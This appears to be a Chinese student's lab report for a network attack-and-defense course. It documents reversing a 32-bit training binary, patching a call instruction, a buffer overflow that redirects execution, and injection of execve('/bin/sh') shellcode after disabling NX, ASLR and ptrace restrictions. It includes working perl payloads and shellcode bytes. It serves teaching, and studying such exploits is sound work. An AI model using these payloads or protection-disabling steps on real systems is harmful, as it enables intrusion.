20242328 2025-2026-1 《网络与系统攻防技术》实验1实验报告

20242328 2025-2026-1 《网络与系统攻防技术》实验1实验报告

1. 基础知识

本次实验围绕32位Linux可执行文件pwn1的逆向与缓冲区溢出利用展开,涉及的基础知识如下。

call指令与EIP。 call指令的机器码是e8加4字节补码偏移。CPU执行call时,跳转目标等于当前EIP(即 call 下一条指令的地址)加上偏移。偏移用补码表示,小端存储在机器码里。这个原理是任务一改机器指令的基础。

32位ELF格式。 pwn1是ELF文件,头部含魔数7f 45 4c 46,.text段是可执行代码,地址从0x08048000附近开始。objdump -d 可以看反汇编,vi+xxd可以修改二进制字节。

32位栈帧结构。 函数调用时栈帧从低地址到高地址依次是:局部变量缓冲区(foo中28字节)、保存的EBP(4字节)、返回地址(4字节)。foo中的gets不检查长度,输入超过28字节就能覆盖保存的EBP,超过32字节就能覆盖返回地址,这就是BOF漏洞的根源。

小端序。 x86 是小端机器,一个4字节整数在内存里低字节在前。要让返回地址变成0x0804847d,就要按7d 84 04 08的顺序写入。

payload布局。 两种常见结构:NSR(nops+shellcode+retaddr)把shellcode放返回地址前面,适用于缓冲区大的情况;RNS(anything+retaddr+nops+shellcode)把shellcode放返回地址后面,适用于缓冲区小或shellcode和栈顶冲突的情况。NOP(\x90)的作用一是填充,二是作为滑行区,只要返回地址落在NOP区任意位置,CPU会一路滑到shellcode,这是容错的关键。

2. 实验内容

pwn1正常流程是main调用foo回显用户输入。程序里还有一个getShell函数会返回shell,但正常流程下不被调用。实验通过三个递进任务运行这段代码:任务一手工修改可执行文件把call foo改成call getShell;任务二利用foo中的BOF漏洞覆盖返回地址为getShell;任务三注入自己构造的shellcode并运行任意代码。

实验环境是Kali Linux(uname -m显示x86_64),pwn1是32位ELF,需要安装32位运行库和gdb-multiarch。实验要求掌握NOP、JNE、JE、JMP、CMP等汇编指令的机器码,掌握反汇编与十六进制编辑,能修改机器指令改变执行流程,能构造payload完成BOF攻击。

3. 实验过程

3.1 准备工作

进入工作目录并确认文件:

cd /home/kali/Desktop
file pwn1                    # ELF 32-bit LSB executable, Intel 80386
uname -m                     # x86_64

图1:终端运行 file pwn1 / uname -m 的结果截图

因为kali是64位而目标是32位,先装32位运行库和调试工具:

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install -y libc6:i386 libc6-dbg:i386 gcc-multilib gdb-multiarch

./pwn1 能回显输入字符串。

3.2 任务一:修改机器指令

反汇编找call foo:

objdump -d pwn1 | grep -A 10 "<main>:"

图2:objdump 反汇编  的输出截图

call机器码e8 d7 ff ff ff的偏移是d7ffffff,即补码-0x29。验证:0x80484ba+(-0x29)=0x8048491,正是foo的地址。

用vi进行编辑:

图3:vi 十六进制视图截图

因为默认是二进制文件所以要切换到十六进制视图,用:%!xxd切十六进制视图,/e8 d7 定位,把d7改成c3,:%!xxd -r转回二进制,:wq保存。要修改的部分如下:

图4:要修改的字节部分截图

验证:

图5:验证修改后的运行截图

图6:验证修改后的运行截图2

任务一完成,只改一个字节机器指令就劫持了执行流。

3.3 任务二:BOF 覆盖返回地址

先用 gdb 确认输入哪几个字符会覆盖到返回地址:

gdb-multiarch pwn1
(gdb) set architecture i386
(gdb) r
1111111122222222333333334444444455555555
(gdb) info r

图7:gdb info r 输出截图

图8:gdb 寄存器输出截图2

输出ebp 0x34343434、eip 0x35353535。0x34是ASCII字符4,0x35是5。说明第29到32字符4444覆盖了保存的EBP,第33到36字符5555覆盖了返回地址。

为了让返回地址变成getShell的0x0804847d,按小端序构造32字节填充加4字节返回地址:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input

图9:xxd input 输出截图

注入:

(cat input; cat) | ./pwn1
Ls

图10:运行后执行 ls 的结果截图

运行后能执行ls、whoami。任务二完成,验证了BOF覆盖返回地址的原理。

3.4 任务三:注入Shellcode

任务三不再跳向程序里现成的getShell,而是把一段自己构造的shellcode注入栈上并执行。先关闭三项防护:

#关闭NX,让堆栈可执行
sudo apt-get install -y patchelf
patchelf --set-execstack pwn1
patchelf --print-execstack pwn1       # execstack: X
#关闭ASLR
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
cat /proc/sys/kernel/randomize_va_space   # 0
#允许ptrace,gdb attach需要
sudo sh -c 'echo 0 > /proc/sys/kernel/yama/ptrace_scope'

使用的25字节execve("/bin/sh") shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

尝试用的是NSR布局(nops + shellcode + retaddr),shellcode放在返回地址前面。生成payload:

cd /home/kali/Desktop
sudo rm -f input_shellcode
perl-e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"'>input_shellcode
xxd input_shellcode

payload结构是6字节NOP滑行区、25字节shellcode、4字节返回地址占位(\x04\x03\x02\x01)。末尾不加\x0a,方便gdb attach定位。

终端A挂起pwn1:

(cat input_shellcode; cat) | ./pwn1
# 不按回车

终端 B 用 gdb attach 定位 shellcode 地址:

ps -ef | grep pwn1
sudo gdb-multiarch
(gdb) set architecture i386
(gdb) attach <PID>
(gdb) disassemble foo
(gdb) break *0x080484ae
(gdb) c

图11:gdb 断在 ret 前的截图

切回终端 A 按回车,gdb 在 ret 前断下。查看栈:

图12:gdb 查看栈的截图

从输出可以读出:

  • 返回地址占位0x01020304在0xffffd29c。
  • NOP区从0xffffd276开始(前2字节在0xffffd274里)
  • shellcode起点大约在0xffffd27c(\x31\xc0从0xffffd27e开始)

0xffffd27c处是NOP和xor %eax,%eax的交界,返回地址填这个位置,可以从NOP滑到shellcode。按小端序0xffffd27c写成\x7c\xd2\xff\xff。

重新生成payload:

cd /home/kali/Desktop
sudo rm -f input_shellcode
perl-e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x7c\xd2\xff\xff\x0a"'>input_shellcode
xxd input_shellcode

图13:xxd input_shellcode 输出截图

注入:

(cat input_shellcode; cat) | ./pwn1
ls
Whoami

运行后成功获得 root shell。任务三完成,验证了NSR布局注入shellcode的方法。

4. 问题及解决方案

问题1:gdb-multiarch: command not found

问题1解决方案:执行sudo apt-get install -y gdb-multiarch。若提示找不到包,可直接用系统自带gdb,进入后set architecture i386就能调32位程序。

问题2:execstack: command not found,apt-get install execstack提示找不到包

问题2解决方案:新版Kali已弃用execstack,改用patchelf:sudo apt-get install -y patchelf,然后patchelf --set-execstack pwn1,用patchelf --print-execstack pwn1确认输出execstack: X。

问题3:gdb attach报ptrace:Operation not permitted

问题3解决方案:Yama LSM限制导致,执行sudo sh -c 'echo 0>/proc/sys/kernel/yama/ptrace_scope',并用sudo gdb-multiarch启动gdb。

问题4:cat /proc//maps报Permission denied

问题4解决方案:pwn1是root身份启动的,加sudo执行。

问题5:perl > input_shellcode报zsh: permission denied

问题5解决方案:文件属主为root(之前用 root shell 创建过),执行sudo rm -f input_shellcode后再重建。

问题6:gdb里查到的地址填到./pwn1里不命中

问题6解决方案:gdb run会注入LINES、COLUMNS等环境变量,栈布局与直接运行差几百字节。改用gdb attach获取更接近真实运行的地址,并用NOP滑行区容忍偏差,返回地址填在NOP与shellcode交界处。

问题7:sudo: unable to resolve host chenlitong

问题7解决方案:/etc/hosts缺主机名记录,不影响命令执行。执行echo "127.0.1.1 chenlitong" | sudo tee -a /etc/hosts可消除警告。

5. 学习感悟、思考等

本次实验让我对二进制漏洞利用有了从知道概念到亲手做出的完整认识。

最深的教训是地址不是绝对的。gdb里看到的地址和直接运行时的地址会差几百字节,一开始我反复把gdb查到的地址填到./pwn1里一直段错误,后来才明白gdb会注入额外的环境变量,路径长度也不同,每次启动栈布局都会偏移。不能迷信一次调试结果,必须用多次attach交叉验证。

NOP滑行区是容错垫。文档里一句话“nop一是为了填充,二是作为着陆区”我一开始没在意,后来才体会到它的重要性,只要返回地址落在NOP区任意位置,CPU会一路滑到shellcode,地址差几十字节也能命中。

防护技术是环环相扣的。Canary防注入、NX 防执行、ASLR 防猜地址,本实验为了学原理把三层全关了,但现代系统默认全开,任意一层不破就攻不进去。64 位环境下地址含\x00、参数用寄存器传、栈对齐要求,进一步把难度拉满。

动手比看文档难十倍。文档里的命令看似简单,实际执行时会遇到包缺失、权限拒绝、地址不对等一堆问题。每解决一个问题,对原理的理解就深一分。如果一次就成功,可能只是照抄;反复失败、不断查资料、最后才跑通,才是真正学到的过程。

参考资料

《0x11逆向与Bof基础》实验指导书

posted @ 2026-10-12 20:38  髯鸸  阅读(6)  评论(0)    收藏  举报